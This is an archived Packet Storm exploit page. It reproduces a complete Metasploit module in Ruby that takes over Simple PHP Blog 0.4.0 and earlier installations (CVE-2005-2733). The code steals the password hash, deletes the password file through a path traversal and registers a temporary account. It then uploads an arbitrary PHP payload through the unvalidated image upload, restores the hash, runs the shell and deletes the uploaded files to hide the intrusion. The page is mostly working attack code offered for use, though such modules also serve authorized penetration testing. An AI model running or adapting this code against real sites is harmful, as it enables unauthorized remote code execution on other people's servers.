the last unbiased stronghold

Simple PHP Blog 0.4.0 Command Execution

Simple PHP Blog 0.4.0 Command Execution
Posted Oct 30, 2009
Authored by Matteo Cantoni

This Metasploit module combines three separate issues within The Simple PHP Blog (versions 0.4.0 and below) application to upload arbitrary data and thus execute a shell. The first vulnerability exposes the hash file (password.txt) to unauthenticated users. The second vulnerability lies within the image upload system provided to logged-in users; there is no image validation function in the blogger to prevent an authenticated user from uploading any file type. The third vulnerability occurs within the blog comment functionality, allowing arbitrary files to be deleted.

tags | exploit, arbitrary, shell, php
advisories | CVE-2005-2733
MD5 | 06420dea2b1236798228c7e9d86f4beb

Simple PHP Blog 0.4.0 Command Execution

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
'Description' => %q{
This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
application to upload arbitrary data and thus execute a shell. The first
vulnerability exposes the hash file (password.txt) to unauthenticated users.
The second vulnerability lies within the image upload system provided to
logged-in users; there is no image validation function in the blogger to
prevent an authenticated user from uploading any file type. The third
vulnerability occurs within the blog comment functionality, allowing
arbitrary files to be deleted.
},
'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-2733'],
['OSVDB', '19012'],
['BID', '14667'],
['URL', 'http://www.milw0rm.com/exploits/1191'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 1024,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'August 25 2005',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
], self.class)
end

def check
res = send_request_raw({
'uri' => datastore['URI'] + '/index.php'
}, 25)

if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)

ver = [ $1.to_i, $2.to_i, $3.to_i ]
print_status("Simple PHP Blog #{ver.join('.')}")

if (ver[0] == 0 and ver[1] < 5)
if (ver[1] == 4 and ver[2] > 0)
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
end

return Exploit::CheckCode::Safe
end

def retrieve_password_hash(file)

res = send_request_raw({
'uri' => datastore['URI'] + file,
}, 25)

if (res.message == "OK" and res.body)
print_status("Successfully retrieved hash: #{res.body}")
return res.body
else
print_status("Server may not be vulnerable.")
return false
end
end

def create_new_password(user, pass)

res = send_request_cgi({
'uri' => datastore['URI'] + '/install03_cgi.php',
'method' => 'POST',
'data' => "user=#{user}&pass=#{pass}",
}, 25)

if (res)
print_status("Successfully created temporary account.")
else
print_status("Error creating our account.")
end
end

def retrieve_session(user, pass)

res = send_request_cgi({
'uri' => datastore['URI'] + "/login_cgi.php",
'method' => 'POST',
'data' => "user=#{user}&pass=#{pass}",
}, 25)

if (res)
print_status("Successfully logged in as #{user}:#{pass}")

if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
session = $1
print_status("Successfully retrieved cookie: #{session}")
return session
else
print_status("Error retrieving cookie!")
end
else
print_status("No response from the server.")
end
end

def upload_page(session, dir, newpage, contents)

boundary = rand_text_alphanumeric(6)

data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
data << contents
data << "\r\n--#{boundary}--"

res = send_request_raw({
'uri' => datastore['URI'] + "/upload_img_cgi.php",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "my_id=#{session}; PHPSESSID=#{session}",
}
}, 25)

if (res)
print_status("Successfully uploaded #{newpage}")
else
print_status("Error uploading #{newpage}")
end
end

def reset_original_password(hash, scriptlocation)

res = send_request_cgi({
'uri' => datastore['URI'] + scriptlocation,
'method' => 'POST',
'data' => "hash=" + hash,
}, 25)

if (res)
print_status("Successfully reset original password hash.")
else
print_status("Error resetting original password!")
end
end

def delete_file(file)

delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"

res = send_request_raw({
'uri' => datastore['URI'] + delete_path,
}, 25)

if (res)
print_status("Successfully removed #{file}")
else
print_status("Error removing #{file}!")
end
end

def cmd_shell(cmdpath)
print_status("Calling payload: #{cmdpath}")

res = send_request_raw({
'uri' => datastore['URI'] + cmdpath
}, 25)

end

def exploit

# Define the scripts to be uploaded to aid in exploitation
cmd_php = '<?php ' + payload.encoded + '?>'

reset_php = %Q|
<?php $hash = $_POST['hash'];
$fp = fopen("../config/password.txt","w");
fwrite($fp,$hash);
fpclose($fp);
?>|

# Generate some random strings
cmdscript = rand_text_alphanumeric(20) + '.php'
resetscript = rand_text_alphanumeric(20) + '.php'
newuser = rand_text_alphanumeric(6)
newpass = rand_text_alphanumeric(6)

# Static files
directory = '/images/'
cmdpath = directory + cmdscript
resetpath = directory + resetscript
passwdfile = '/config/password.txt'

# Let's do this thing
hash = retrieve_password_hash(passwdfile)
delete_file(passwdfile)
create_new_password(newuser, newpass)
session = retrieve_session(newuser, newpass)
upload_page(session, directory, resetscript, reset_php)
upload_page(session, directory, cmdscript, cmd_php)
reset_original_password(hash, resetpath)
delete_file(resetpath)
cmd_shell(cmdpath)
delete_file(cmdpath)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close